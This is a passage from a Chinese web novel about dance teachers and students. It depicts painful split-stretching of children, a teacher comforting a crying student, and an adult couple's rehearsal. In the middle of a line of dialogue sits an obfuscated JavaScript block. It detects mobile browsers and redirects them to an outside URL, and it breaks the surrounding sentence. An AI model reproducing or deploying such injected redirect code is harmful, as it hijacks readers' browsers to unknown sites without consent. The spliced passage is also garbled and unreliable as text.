“别看了,他们俩中午我扣下了,你自己去食堂吃,顺便打两份饭回来。” “好嘞!” 宋睿转身就跑,头都不回,“保证送到!” 呿……这没出息的样。钟彦承笑着摇摇头,回头扯着自己的T恤给乐无弋擦了擦眼泪。 “你心里想什么,我知道。一年级的时候,咱们谈过了。单说先天条件,没有人是样样都强的——我除外。” 钟彦承顿了顿,看着乐无弋忍不住扯了扯嘴角,才揉了揉他头,接着言归正传,“软开是你的短板,所以这一块,肯定是要练的比别人辛苦些。但想要练得好,就是要把自己差的地方,练的比别人都好,所以在我这儿,再苦都挺着,听见没。” 钟老师的声音压得很低,只有他们两个人能听到,乐无弋知道他是尊重自己的私隐。这两年来,支撑他的,就只有那么一个虚无缥缈的想法,除了母亲,他不曾跟任何人提过。而钟老师,不曾多问,不知前因,却让他感受到从未有过的,被理解的感觉,仅仅因为一个眼神,一句我想跳好舞。 身上刀割针扎般的痛,好像都变得更“心甘情愿”了,乐无弋红着眼眶,微微扯起一边嘴角,露出个坏笑,“就怕你下不去手呢。” 切,臭小子! 钟彦承松开脚,叫他自己耗住不许起来,“五分钟,然后去踢腿,踢完回来换右腿。” 房间的另一侧,王佑一脚搭在了三层垫子上,看上去显然没课上那么轻松了。钟彦承走到他跟前,看着白皙的两条小腿儿绷的笔直,不禁在他脑袋上落下个毛栗子,“那个收拾完了。行,轮到你了!” 47. 番外II 来者知可追 (下) 来者知可追(下) “对不起…钟老师。” 王佑一垂着头,根本不敢看钟老师的眼睛。钟彦承瞟了眼他这会儿倒绷的漂亮的脚背,语气一如平常般轻快,“说说,对不起我什么啊。” 听了这话,王佑一本来已经红到耳朵的脸又热了几分。“我……我不该在压腿的时候……跟老师顶着劲儿…” 什么时候也学会顾左右而言他了,钟彦承也不知道是好气还是好笑,伸手点点他脚背,“再想想。” 王佑一被他点的一哆嗦,咬着嘴唇半天,才又挤出几个字,“耗腿的时候,偷懒了”。 负、隅、顽、抗。 王佑一是聪明孩子,光看他那个样子就知道他明明白白知道自己问的是什么。钟彦承绞起手臂,将右腿搭在了王佑一离地好远的后腿上。“是,我再给你加一条,踢腿的时候也神游去了。这些都算上,怎么回事儿?” 王佑一是什么样的孩子他不清楚么。典型的乖巧听话的好学生,叫他调皮捣蛋比叫他加练十个小时还难。他那个自尊心和怕老师的性子,他舍得偷懒,他有胆子不听老师话?今天这一样样的,明显就是故意的。这孩子啊,脸上就写着“反常”两个字。 “怎么着,还非让我帮你说是不是。” 见王佑一低着头,一言不发,钟彦承偏过头去看他。只见他一脸纠结,嘴巴紧紧抿成一条缝,真不知道是自己在那儿天人交战呢,还是已经准备“英勇就义”了。现在的孩子,心思怎么都这么多。钟彦承暗暗叹了口气,随即跨到王佑一身后,弯腰将他胳膊捞了起来。 “那行,来,头抬起来。 ” 玩笑归玩笑,可在他这儿,是决不许学生上课糊弄过去的。课上落下的,课下补。 “钟—” 空气中飘出个短暂的气音,小家伙脸上显然闪过一丝慌乱。钟彦承抬脚踩上他腿根,晃了晃少年已经有些僵掉的手臂,“放松,我还没压呢。” 王佑一脸上一热,默默咬住了嘴唇内侧的一排嫩肉。 学生们最怕耗叉的时候被老师架着胳膊,这是钟彦承自己在学生时代就知道的事。不能扶垫子,也不能扶膝盖,全数的重量都吃在腿上。疼也就算了,还偏偏不能扭过头藏起脸,最难过的时候,也得把面目狰狞的脸露在外面,只觉得里子面子,都没了。从前每每被老师这么拉着练,只一下就能逼出他的眼泪来。 王佑一更怕,因为钟老师好像格外喜欢用这个姿势给他踩竖叉。可周末的时候,为了早点达到老师的标准,他两整天都泡在练功房里,今早起来双腿就酸的不行。上课的时候在钟老师那里叫痛,有一半是故意的,也有一半,是真的疼。其实他不是不知道钟老师问什么,可他怎么说的出口。难道要让他当着乐无弋的面说,自己是嫉妒老师对他的关注特别多。 三层垫子,根本不是王佑一能达到的程度。尽管方才静耗的时候,他已经尽力下到自己的极限,却还是不上不下地悬在空中。因此哪怕自己还没怎么使劲儿,王佑一就已经疼得绷紧了身体。“放松,” 钟彦承冷着声音又说了一遍,语气也比平时严厉了许多。 越好的苗子就逼得越狠的毛病,好像所有的老师都一样。明明知道这样不给贴地的耗法最难捱,可——”不这么耗,怎么能涨功。“ 脑子里不知怎么的就飘出久违的这一句来。 曾几何时,他也是个孩子时,总是对老师们的严厉和不通情理感到格外的委屈。都已经那么疼那么累了,还要被凶着骂着,不管是心里和身体上都觉承担不下去。所以后来自己成了老师,便总是尽力照顾着孩子们的情绪。可更多的时候,站在这个与曾经对立的位置上时,才又明白这个位置上的无可奈何。 呃…王佑一紧紧皱着眉眼,只觉得浑身每个细胞都在呼喊。可等到所有的尖叫都冲向嘴边,却又好像在喉咙口被生生扼住了。原来人特别特别疼的时候,是喊不出来的。真的是…太疼了…… 王佑一拼命侧过头,想把布满冷汗的小脸都埋到手臂中,人却不自觉地像前倾斜过去。 王佑一的竖叉,都差在胯根上。后腿胯根断开的不好,一压腿腰就往前塌。这个毛病钟彦承早早就发现了,所以每次耗叉都得拽着他胳膊。这次也不例外,钟彦承拎着他手臂往回带了带,“腰立起来。” 王佑一被带的闷哼了一声,眼泪不受控的就要往上涌。不…不能哭…他努力深呼吸想要把眼泪咽回去,却不禁又一边红着眼眶一边朝乐无弋那里偷偷望了一眼。不管钟老师喜不喜欢自己,他就是要比乐无弋强,他练功再疼也不哭的。 “都已经自顾不暇了,还有时间看别人呢?” 钟彦承突然矮下身,伸手在小孩儿腿上捏了捏 ,“周末自己练了? ” 王佑一被吓了一跳,咬着嘴唇,点点头。怪不得韧带这么紧。照王佑一的条件,就是这个角度拿不下来,也不至于紧成这样。钟彦承松开他,蹲下身仔细检查了下两边腿根,确认了没什么问题却还是忍不住多问一句,“拉伤了没?” 王佑一使劲儿摇头。 钟彦承放下心来。“以后自己练不要过量,实在不行来找我练,听见没。” 王佑一含糊地答应了一声,才压下去的眼泪又有点汹涌起来。其实钟老师,也不是不关心他的。 “后胯根还是不好,咱们这学期必须解决了啊。” 钟彦承起身从前面撤下两个垫子来。随手扔了一个,另一个直接拖到了王佑一身后。小孩都还没来得及松一口气,就只能撑起后腿又把膝盖架了上去,眼神却不自觉地追着老师看了两眼。 钟彦承抬头瞟见满是冷汗的小脸又白了几分,不禁缓下语气逗他,“还真以为我就是为了对你‘严刑逼供’啊。紫金冠踢不起来,自己就不着急。下去,抓脚。” 方才撕裂般的疼痛还没有退去,王佑一尽力摆正身子,也只能虚虚贴到地上。钟彦承这次没有留情,直接从侧面踩上小孩的胯根,把唯一的一点缝隙也抹平了,“自己下”。 这的确不是王佑一的强项,可他不敢磨蹭,只能硬着头皮,撑起身子拼命朝身后够。后胯根尖锐地疼着。那种疼跟撕腿压胯都不一样,是一种虽然只是小小一个地方,却能让半个身子都跟着麻掉,深入骨缝的酸痛。随着自己一点点下腰,疼痛就越发剧烈,好像全身的重量都压在被过分拉伸的那一小段关节上。他终于明白钟老师为什么要让他耗着后叉下腰了。 于是眼看着指尖差一点点就碰能到小腿,却也总是就差那么一点一次次滑开。钟彦承绞着手臂看他折腾了两分钟,小脸上的汗越来越密,距离却越来越远。终于失了耐性,拽着他双手直接拉到了腿上,“抓住。“ “呃……”王佑一忍不住痛呼了一声,却在混乱中伸手死死抓住小腿。手上和腿上都是汗,他拼命抠着自己的肉才能保证不滑开,而刚刚降了温的眼眶又瞬间温热起来。 一、二、三…… 王佑一在心里默默数着数,头上的汗,也跟着一滴滴落到腿上。也许数够了五十,钟老师就会让他起来了。如果没有,就鼓励自己再数五十。少年死死盯着天花板,这样安抚自己。 钟彦承在他身侧蹲了下来,伸手把他有些朝里扣的脚掰了回来。耳边传来少年阵阵粗重的呼吸声,惹他的心里也有几分不忍。“不能这么绷着,慢慢呼气,放松。” 王佑一听话,一点点跟着他节奏呼吸,可到底,还是疼的发颤,眼圈一阵阵泛红。钟彦承不禁叹了口气,点了点他细细的胳膊,“现在知道听话了,上课的时候想什么来着。会哭的小孩儿有糖吃?都多大了,还玩这种把戏。” 王佑一一愣,没想到被老师一句就点中了心事,拼命忍了许久的眼泪一个不防就流了下来。钟彦承伸手给他抹了去,不想这孩子越哭越凶,眼泪扑簌簌地往下滚,竟是止不住了。别看王佑一平时内向,看着是个听话柔弱的性子,钟彦承教了他两年,却是第一次见他哭。平日里练功再苦再累最多只是红个眼圈,像今天这样是一次都没有过的。 乐无弋刚刚踢完腿回来,听见这边有动静,也不禁望过来,尚稚嫩的眉宇间透着隐隐的担心。 “你先去吃饭吧,下午放学来找我。”钟彦承知道是顾不上乐无弋了,就叫他最后一节课结束再过来。“王佑一的午饭呢?” “送到我办公室吧。” 乐无弋点点头,离开时特意把门关严了。 再低头看王佑一,明明已经哭得一阵阵抽噎,却竟还拽着腿不敢起身。钟彦承怕他呛了,立刻揽着腰把孩子扶了起来,“怎么就哭成这样了,有什么跟老师说说。” 记忆中,钟老师似乎只跟车小伦这么说过话。王佑一本来觉得失态,正一个劲儿的用胳膊抹脸,听了这话,心里不知怎么突然生出万分的委屈,眼泪说什么也止不住了。“我……我觉得钟老师…不…不喜欢我……呜呜……” 这—— 钟彦承一怔,不禁哑然失笑,这是怎么来的。 ———————————————— 一个月来,难得有一天林晓希排练结束早的日子里,“钟老师”却没能早下班。早上收拾熊孩子,中午哄王佑一,晚上练乐无弋。即便是自诩精力旺盛的钟彦承,一天下来,也是身心俱疲了。 晚上六点半,钟彦承才一推开房门,就被满屋飘着的红烧肉味勾起了馋虫。 “简直太过分了,你知道我还在减肥的!” “口嫌体直”的钟彦承立刻脱了鞋冲到餐厅,正看见熟悉的修长挺拔的身影端着一坛红烧肉放在了餐桌上。一时间……吃了两周水煮西兰花配鸡胸的“钟老师”迟疑起来,真不知道是该先祭祭自己的五脏庙还是先是先抱抱情人。 晓希不会怪我的。钟彦承咬咬牙拣起筷子冲向了红烧肉,耳边却突然传来“阴恻恻”的威胁,“你要是敢先碰它以后就都去吃食堂!” …… 筷尖已经碰到肉的钟彦承瞬间定格在原地,继而反应神速地把顶上那块肉重新摆了摆,“我……看他快掉了,扶一扶……扶一扶”。 呿……林晓希忍不住笑出声来,“逗你呢!坐下吃吧。再不开荤我怕你晚上变黄鼠狼。” “嘿!还是晓希好。” 彦承揽过晓希在他脸上“bia-ji”落下一口,惹得晓希嫌弃地皱了皱眉。 小两口的家安在舞团附近的高层公寓里,即便只是百平米的两室两卫,在首都寸土寸金的地界上还是花了哥哥们和晓希爸爸不少银子。饭桌上,钟彦承满足地大口吃着肥而不腻的红烧肉,却不知道是不是最近吃的太清淡,竟然没几块就顶住了。 哎……真可惜。彦承望着“晶莹剔透”的五花肉,重重叹了口气。 “都说了你也不胖,自己瞎整腾。” 林晓希看着他那副依依不舍的样子,心里一半心疼,一半埋怨。最近团里要开新舞剧而且愿意对外招收演员,钟彦承动了想去参选的心思,所以前一阵一直闹着要减肥。林晓希本来以为他就是说说而已,没想到他还真搞了减肥菜谱,坚持了两个礼拜。 钟彦承敏感地感觉出晓希的心疼,不禁笑嘻嘻地将T恤拉起来,一脸显摆地把腹肌腆给他看,“效果显著看到没。你说,别人得多羡慕你啊。” 林晓希挑挑眉,笑着对他点了点头,心里却已经准备好连着上午的帐跟他一起算了。这家伙,最近是要造反。 家里没条件练功,饭后俩人便步行回舞团那边。“到我那边去吗?” 走到十字路口,左边是舞团,右边是舞院。晓希问彦承的意思。彦承撇了撇嘴,拉着晓希朝右边走去,“不去,我又不是舞团的演员,让人看到不好。” 其实当年毕业,彦承是考得上舞团的。只不过他心里有个小疙瘩,考不上主要演员,他宁可不进舞团也不跳群舞。这里当然有年纪轻轻就能跳首席的林晓希的一层原因,所以这次舞剧招募彦承格外上心,晓希心里也明白。唯一能做的,就是帮他好好准备。 两人找了间稍大一点的练功房,彦承掩上门,随手把外套脱下来遮在窗户上。林晓希忍不住逗他,“这么隐秘,怕你的学生等会看到他们‘钟老师’的狼狈相啊。” “还真是,谁知道你这个黑手等下又要做出什么。”彦承麻利换上舞鞋,走到房间一侧,开始热身。 林晓希靠在另一侧的把杆上静静看着。二十一岁的彦承虽然在个头上还是没能长过自己,但完美的身材比例,是人看着都会觉得赏心悦目。彦承简单在地上做了些拉伸,就起身到把杆旁。单手扶把,立起半脚尖,右腿从正面控起来,转旁腿,转后腿,上身依旧立的稳稳当当。再从旁腿转回来到正腿,仍是没有半点晃动。单这一样,就不是舞团里人人都能达到的水平。林晓希看在眼里,不禁露出个温暖的笑容。这几年里,彦承逼自己很严。人人都以为他考上了舞院定是要好好懒一阵的日子里,他硬是拉着自己和学长天天逼他练功。到了舞院后,更是练的比从前还辛苦。用他自己的话说,他生来就是懒散的性子,没有人看着,他真怕自己管不住自己。 这几年的辛苦自然没有白费。即便是两年来都在学校任教、演出的机会不多,彦承在晓希面前跳出《朔风传》难度最高的五分钟时,还是让晓希惊叹了一把。从姿态的控制,到情感的贯穿……虽说彦承早不是当年的那个门外汉,可这一段,绝对发挥出了他的最高水平。翩若惊鸿,婉若游龙。这么形容,也不过分吧。 “什么时候练的?这哪是要参选舞剧,这简直就是要抢我的饭碗。” 随着最后一个动作收尾,林晓希不自觉地迎上去,语气里带着隐隐的激动。phew……钟彦承松了一口气,嘴角也微微扬起,“首 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239545|197666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 演和现任主演都在我家里,我跳不好,还不怕你们轮流抽我。” 旁人也许无法理解,《朔风传》对于钟彦承不寻常的意义。这部舞剧,他可以说是从小看到大。自家的练功房里,舞团的排练厅里,全国大大小小的剧场里,他自己都数不清已经看了多少遍了。他有幸见证了这部舞剧从无到有,从排练到首演,再到全国巡演,海外展演;而“它”,也伴随了自己从陌生到熟悉,从笨拙到凝练,这磕磕绊绊的一路。 他为舞剧演员甄选准备了三个片段。当初敲定这一段时,心里难免有些紧张。毕竟这一段不简单,何况全世界对这部舞剧最熟悉的人里面,有两个都在他身边。可一周前开始练习时他才发现,他对《朔风传》太熟了。所以哪怕一次都不曾练过,只要音乐一响起,所有的动作就如同暖流般从脚底到指尖,自然而然地就流淌出来了。 “我练了整整一周了的。比其他那些片段跳的都好吧。” 晓希的眼里,满是掩不住的赞赏。彦承有些说不出的小得意,却还是明知故问了一句。“可以说是超水平发挥了,不过要是想拿出去见真李逵,你这个小‘李鬼’还是得好好抠抠动作。” 想也知道没这么容易通过。钟彦承抽抽嘴角,重新走回房间中央,“你说吧,从哪儿开始。” ———————————————— 呼…… 随着最后一个音结束,钟彦承直接原地蹲下,汗顺着下颌一粒粒往下滴,“这回过关吗。” 林晓希拿着水上前递给他,看着情人撩起练功服把脸抹了一遍。“差不多了。明天照这样再来几遍。” 太好了……彦承长舒了一口气,一屁股坐到地上,墙上的钟表已经指向十点。五分钟的这一段,两人一分钟没歇的练了两个小时。 林晓希也在他身边坐下,语气里带着难以察觉的心疼,“我要是不说过关,你今晚就不回家了是吗。” 彦承咕咚咕咚灌下半瓶水,偏过头看着晓希紧蹙的眉头,心下有些愧疚,嘴上只能故意打岔。“你还好意思说我,谁之前备赛的时候恨不得把自己调成机器人模式,住在练功房里了。” 嘴硬…… 林晓希忍不住轻踹了他一脚,拉他起身,“走吧回家。” “哎等下等下…” 钟彦承往后躲了躲,冒着被情人“暴揍“的危险,小声说了一句,”那个……你帮我……踩踩横叉。你知道的,我这一个月都在练成舞。周末要回家吃饭的,我这……是吧。” 林晓希深呼吸了一口气,语气冷的都快掉冰碴了,“怎么踩。” “去柱子那儿,在那儿就行。” 钟彦承起身踢了几下腿,走到柱子前面坐下。修长的双腿一字打开,脚背也绷的堪称教科书。晓希也在他身前坐下,双脚蹬上他膝盖。只这么个熟悉的动作,不由得让彦承有些紧张,他舔了舔嘴唇,低声说道,“你看着来吧,可别太狠啊。” 晓希早习惯了他这个纠结劲儿,只点点头,蹬着他膝直接推了出去。没几下,就看着眼前人的眉眼皱了起来。彦承的程度晓希清楚,这么看着,的确是照之前差了不少,也不怪他着急。 林晓希往前坐了一大截,脚下又微微使了点劲儿,还不到从前的程度,彦承的表情就一下子痛苦起来。 “嘶!” 看来他这个钟老师也没比自己的学生坚强太多。“之前你可是两边两块垫子,这周末要怎么交差。” 晓希没留情,放直了自己膝盖,彦承的双腿俨然被拉成了个倒V,勉强达到了从前的程度。 啊……钟彦承哑着嗓子叫唤了一声,双手不禁扶上了腿根。藏在皮肤下面的韧带绷的紧紧的,疼得他立时出了一身冷汗,“耗……就耗五分钟行不行。” 剧痛中的钟老师显然已经没了方才的雄心壮志,林晓希无奈地摇摇头,掏出手机点了几下搁到了他身前,“给你机会再说一次,耗多久。” 彦承低下头看了一眼,正是上午俩人聊天的对话。 “你还真要伺机报复啊,十分钟,十分钟行了吧。” 林晓希作势就要往前挪,彦承怕他再踩,连忙伸手拦住他。“我洗干净,我洗干净还不行吗。哎呀你这个人怎么这么记仇!” 晓希被他‘气急败坏’的样子逗的乐不可支。可看着他皱眉闹脾气的样子,人却没有方才那么紧绷了,也跟着放下心来,“不闹了,耗二十分钟吧。” 彦承也知道晓希是为了帮他转移目标才拿了上午的事情出来逗他的。可是闹够了笑够了,疼还是绕不过去。他不禁闭着眼睛,仰起头靠在身后的柱子上,脑海里闪出白天给孩子们压腿的情形,真是风水轮流转啊。二十几岁耗腿和十几岁耗腿又不是一个等量级了。钟彦承大口深呼吸放松着,却忍不住一会儿撑着地,一会儿拿起手臂遮起脸,一会儿又扶着撕裂般的双腿,默默忍耐。 门口突然传来一阵声响,钟彦承朝门外望去,才发现外套不知道什么时候已经掉了下来,门缝处露出张熟悉的小脸。“是车小伦吗?进来.” 林晓希猜是彦承的学生,便要收腿站起来。彦承按住他膝盖摇了摇头,“没事,不用松。” 车小伦没想到偷看被老师抓个正着,紧张的涨红了小脸,半步半步地挪了进来。“对不起钟老师,我就是路过……听到里面有人说话。发现是您,才忍不住看一会儿的……” 一会儿……是多久。也不知道车小伦是什么时候来的,钟老师不禁老脸一红,流下三滴冷汗,“你看多久了。” “没多久,就从林—林—” “叫林学长就行” “从林学长说耗20分钟的时候开始的。” 呼……那就好,车小伦不是会说谎的孩子,钟老师暗暗松了一口气。 “你认识林学长?” 车小伦小心地望了一样林晓希,点点头。“嗯,林学长在咱们学校墙上的。呃不是,是照片在学校墙上。但是我也看过您演的舞剧的!” 林晓希被这孩子逗的直想笑,钟彦承也是强忍着笑意把他拉到身前。“看到老师在干嘛没。” “看到了,在…耗腿。” “你有什么想法?” 钟彦承严肃起来,想趁着这个机会好好教育一下小哭包。 车小伦又看了眼老师“超水平”的横叉,不禁吓得打了个机灵,“您…疼不疼啊。” 已经疼得满头冷汗强压着呻-吟陪车小伦聊天的钟老师不禁气不打一处来,“你看我疼不疼。” 车小伦猛地点点头。 “那我哭了吗。” “没有…” “明天知道怎么做了吗。” “嗯……” 钟彦承点点头,催他回去睡觉。“快回寝室吧,眼看熄灯了。” 车小伦一溜烟的跑了出去。 事实证明,钟老师的言传身教还是——一点用都没有的。第二天二年级二班的基训课上,车小伦又是第一个掉金豆豆的。 “钟老师,疼啊……” 【完】 48. 备赛 陶乐钦急三火四地赶回校门口,距离约定见面的时间还差一分钟。他四下打量了一圈没看到老师,不禁长舒了一口气。还好,还不算迟到。 “阿乐!” 冷不丁的一声闯进耳朵,陶乐钦吓了一跳,只见陆海言从身前的一台SUV中探出头来,“这边!” 车门被推开,陶乐钦一个健步迈了上去。 “路况比想象中好很多,所以早到了一会儿。” 陆海言发动车子,缓缓开出了校园区。 “这两天怎么样,身体好点了吗?” “都好了……本来也没什么事。” 陶乐钦习惯性逞强。 陆海言无声地笑了笑,接着问。“想吃什么?“ 陶乐钦想了想,“火锅行吗?“ 虽然自小在日本长大,一直吃的很清淡。可自从尝到了四川火锅,就好像打开了新世界的大门,怎么吃都不腻。 大中午的,倒是也不嫌上火。陆海言也没反对,随手播通了孔爵的号码, ”那我打个电话,等一下。“ 没两声,孔爵的声音就在车里响了起来,”小叔叔。” 陶乐钦一秒认出这声音,竟不知为何有些不自在起来。“阿乐在我车上,我们准备去吃火锅,你有什么推荐的吗?” ”哦, “ 孔爵沉吟了两秒,”学校附近,元庆街上就有一家,挺好的。再往里走,还有一家港式的。“ “好。” 大概是因为陶乐钦也在车上,陆海言没多说什么就挂了电话。车里的音乐随着通话结束又慢慢流淌出来,陶乐钦这才在不自觉中悄悄松了口气。 陆海言自然察觉得出空气中那一丝不寻常的波动,趁着一个红灯的功夫,他偏过脸,开门见山地问,“你跟孔爵怎么回事?” 陶乐钦被问得一怔。不禁把头扭向另一边。看着窗外不停向后闪过的街景,半晌,才低声说了一句,“没什么。” 不想回答的问题就扭过头不理,和小时候一样,像个鸵鸟。陆海言笑笑,“那你还纠结什么?” 陶乐钦又一愣,想起昨天晚上发给老师的短信。于是即便是更加刻意地把脸转向窗外,他还是觉得脖颈连着耳根好像都烧了起来…… 这件事情闷在心里几天了,思来想去,明明觉得老师可能不会给自己答案,却还是忍不住问了。 “可是您还没回复我……”又想起自己握着手机等了那么久,短信对话框里却还是只有孤零零的那一条,陶乐钦终于忍不住,语气里竟然带着一丝不难察觉的埋怨。 “嗯,是。” 陆海言慢条斯理的答应了一声,“都一点多了,你不睡别人还不睡身体才见好,就又开始折腾。” “那您……觉得我到底应不应该接受?” 陆海言看了他一眼,“没什么拒绝的理由。” 陶乐钦没反应过来。 快到元庆街的小路旁有个车位,陆海言一头扎进去,潇洒的熄了火开车门。“我说,没什么拒绝的理由。虽然不是大制作,可是有萧泽有孔爵担纲。你才上一年级,这么好的机会难得。如果真的跟孔爵没什么,那就是没有拒绝的理由。就算有,你是怀疑孔爵的专业性,还是你自己的专业性? 陶乐钦有些懵地跟在后面,听见这一句,不置可否地扯扯嘴角。这些道理他不是没想过……不,他根本就是这么想的。可因为最开始对孔爵略有不同的情感,因为孔爵和老师的一层关系,他就是,绕不过这个坎。可同样的道理让老师说一遍……陶乐钦不禁慢下脚步看着身前的背影……让老师说了一遍,就好像在水里竖了根定海神针,让他一下子,找回了从前的决断。 老师跟从前一样,也不一样了……陶乐钦暗暗感叹着。还是自己,从来都没有完全了解老师。可老师回来了,回来了,就还好,就还有大把时间去了解他。陶乐钦微微扬起嘴角,快步追上陆海言,故意紧蹭着他肩膀走,等着陆海言扭头看他,才低声说了一句, “等会儿……我们要大辣行吗?” —————————————— 林晓希迈下教学楼门前的最后两节台阶,看着刘老师的身影消失在小路尽头。他掏出手机看了眼时间,六点零五,然后数字下面的大半个屏幕都被信息提示占满了。 五点过一点儿的时候,彦承发来了两条: “有时间的话,回个电话?” “没时间的话,不回也行。我没啥事,好好休息【傻笑】。” 这小子,怎么这么有意思……晓希抿起嘴,拨通了彦承的电话。 “喂?” 熟悉的声音一下子冲进耳朵,晓希差点没反应过来,“秒接啊?” “咳,没有。”电话另一头的声音好像是带了点不好意思,“萧泽哥做晚饭去了,我自己耗腿,所以正巧在摆弄手机嘛…你懂的…你下课了?” “嗯,刚下。” 林晓希将背包挎在肩上,朝宿舍走去。 “那你今天怎么样,累吧……你们之前说那个刘老师,不是挺严的,你看你一天都没看手机。” “还好。排练嚒,就那样。”情人的语气里带着藏不住的担忧,晓希听在心里,很暖。只是他向来不惯谈论练功上的辛苦:学舞这么多年,总觉得怎么样练,都是理所当然。所以话说出口,也只是一笔带过。 “哦…” 彦承不轻不重地应了一声。这个年纪的男生嗓音中特有的一丝沙哑感,透着声筒传了过来。晓希仿佛能看见他撇着嘴,有些闷闷的样子。于是怕他无聊,只能又搜刮了个话头说。“刘老师,和以前的指导老师挺不一样的。” “嗯?是好的不一样、还是坏的不一样?你会不会不适应,会不会很辛苦?” 彦承连珠炮似的问了一串。 晓希忍不住笑了,“没法一概而论吧…就是排练的状态不一样。以前的老师啊,还有学长,基本只是抠作品。至于能力素质什么的,就是说个要求,提点两句。刘老师的话,这些都会看着练,像附中的班主任似的,一时有些不习惯。” “这样啊…” 彦承若有所思地点了点头,“那以后天天都这么看着吗?你都这么厉害了,其实也不用吧。” “不知道啊。不过一个老师一个习惯,也没什么,就是随口跟你说说。” “哦……欸你等一下。” 彦承突然叫他等一会儿,然后模模糊糊地听到他的喊声,“好!知道了!” “喂?我回来了。” 彦承的声音又清晰起来,可惜这次带了点小遗憾。“萧泽哥说晚饭快好了,让我起来踢踢腿准备吃饭了。那——就先不跟你聊了。” 彦承不情不愿地挂掉了电话,晓希收起手机,快步走回了宿舍。一推开宿舍门,大伙儿都在,靠门边的老大朝里面喊了一声,“欸,老五回来了。” 何钦正在上铺闭目养神,听见动静连忙探出头来,正看见林晓希一头的汗,脸上运动过后的潮红也还没褪下去。 “刘茹佳也太狠了吧!这才第一天,就连饭都不让吃了。” 林晓希放下背包,无奈地斜了他一眼,“你可小点声儿吧,对楼都能听见。” 何钦不以为意地挑了挑眉,“我们过会儿出去吃饭,你去吗。要么你在寝室歇着吧,想吃什么给你买回来。” 寝室六个人,几乎都是附中一起上来的,林晓希排行老五。别看这几个人一天天没个正形,当起“老大哥”来倒是有模有样;晓希向来独立惯了,平日里他们却也不少罩着他。“没事儿,我跟你们一起吧。我去水房洗洗,等我一会儿。” 晓希从柜子里抽了条T恤出来,抱着毛巾和脸盆出去了。 何钦对面的老幺在上铺幽幽叹了口气,“哎,尖子难当啊。他早上是不是六点多就出门了。我听对面宿舍的人说他让刘茹佳圈在练功房里一天都没出来。” “可不是。你以为都像你啊一天吊儿郎当的。” 何钦一看到老幺就替他头疼,“你能不能跟你五哥学学,上点进。今天吃完饭晚上跟我去练功,听见没?” “哦……” 老幺蔫蔫地应了一声,何钦没搭理他。盯着门口出神了好一会儿,才深深叹了口气,“这个金奖……他不拿回来不行。” ———————————— 开始排练的第十天,闹铃如往常一样在六点准时响起。晓希却少有的在这个时间仍睡的很沉,所以几乎是被闹铃惊醒,心扑通扑通地猛跳了几下,然后连日来积累的酸软和疲惫从全身上下每一寸肌肉每一处关节一起猛地袭来。林晓希按掉闹铃,想咬咬牙跟平日一样麻利的起床,却突然萌生了,想不管不顾在床上睡上一天的想法。 真是荒谬。脑子里闪过那个念头时,这是他给自己的评语。 只是这次比赛的压力,超乎往常,也超乎他想象的大。他并不是顶不住压力的人,恰恰相反,很多情况下,压力越大他越是兴奋,发挥也更稳定。然而这次,不知道是之前发生的种种还是别的什么说不清的原因,他少有的觉得有些难以招架。 而排练备赛的日子,远比常人所能想象的,更枯燥。 每天七点半踏进刘老师的练功房,到晚上六点出来,大部分时间都是在抠长短两个参赛作品。刘茹佳有事、有课就留他自己练,其他时间基本都回来盯着。教学主任和资历丰富的老教师们也轮着番来。所以常常是老师们围成一团研究作品,他在旁一遍遍地琢磨“感觉”。 这个“感觉”,已经困扰他好几天了。 开始备赛到现在,前几天的时候进展还算顺利,可是随着作品成型,对表演的雕琢越来越细致,排练也进入了瓶颈期。无论怎么跳,感觉就是不对,林晓希不知道哪里不对,刘茹佳也说不出哪里不对。 于是刘茹佳的“急”,渐渐都在训练量和言语中显露出来了。 “不对,不是这样。你这么好的学生,跳了这么多年舞,对作品,没有一点自己的理解吗!老师能描述出来的会跳,老师不能具象描述出来的,就只能这么干巴巴地表达?” “这儿腿的位置,我要脚背和膝盖再转开一点,冲那边才好看。下午我去上课,你自己专门练这儿。“ “这一段,跳十遍。来,是不是十遍都只能跳成一样?” 刘茹佳掐腰站在镜子前,眉头拧成一团。返聘回来的老教学主任上前拍拍她肩膀。“小刘,不能这么急。咱们时间还有,你让孩子歇歇。” 林晓希连忙摇摇头,“没事没事田老师,我再来几遍。” “不用,” 田主任微微扬起下巴,示意他到一旁歇着,“去吧,喝点水。” 晓希不好犟着,只得点点头,刘老师也被田主任拉去了一边。 晓希拎起水瓶到墙边的把干靠着,人一松下来,才觉得浑身的疲累袭来。他转过身,背靠着老师们站着,隐隐约约地能听见他们还在讨论作品。 备赛,其实是个挺孤独的过程。每一个完美的作品背后,都是无数次的雕琢和排练。不停被挑剔,不停被否定,许 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于是总是把自己弄到筋疲力竭,回寝室一头睡过去,再开启重复的一天。日复一日,滚雪球一般,所以才会有了早上那样的想法吧。晓希想暗笑自己没出息,却又笑不出来。练舞十年,除了刚跟着文导的那几年,他鲜有这种情绪——怕。是,他知道自己突然怕了。怕排练,怕进这间练功房,怕…刘茹佳。 —————————————————————— 刘茹佳三点有课,走的时候嘱咐他自己练,比赛的作品没头绪先放一放。晓希把她规定的一整套练习做完,人已经耗光了力气。他坐在地上歇了一会儿,盯着不远处的垫子和明显高出一截的练功凳片刻,终究还是起身,在垫子上滑开一个竖叉。他压下上身,侧过头靠在腿上。这么个姿势,已经算是休息,他慢慢闭上眼睛,心中默念,就当是偷会儿懒吧。 不到五点,门“哗啦”一声被推开,晓希不防,没来由的一抖。他听见两个人的脚步声,估计是田主任一起回来了。“还给自己放松呢?” 刘茹佳劈头就是这一句。晓希几乎连头都没抬,立刻撑起身子,默默把腿挪到旁边的练功凳上。陡然拔升的高度给胯间带来一阵难耐的撕痛,他却好像觉不到般沉着身子压到了地上。 “横过来,自己活动活动。” 刘茹佳又添了一句。晓希微微一怔,想起来大概是要给他撕胯,便拧回身转成横叉一点点振压着。排练了这么多天,他算是习惯了刘老师事无巨细必然都会亲自出马。更何况,相比无休止的重复而毫无进展,单纯的疼可能还更爽快些。 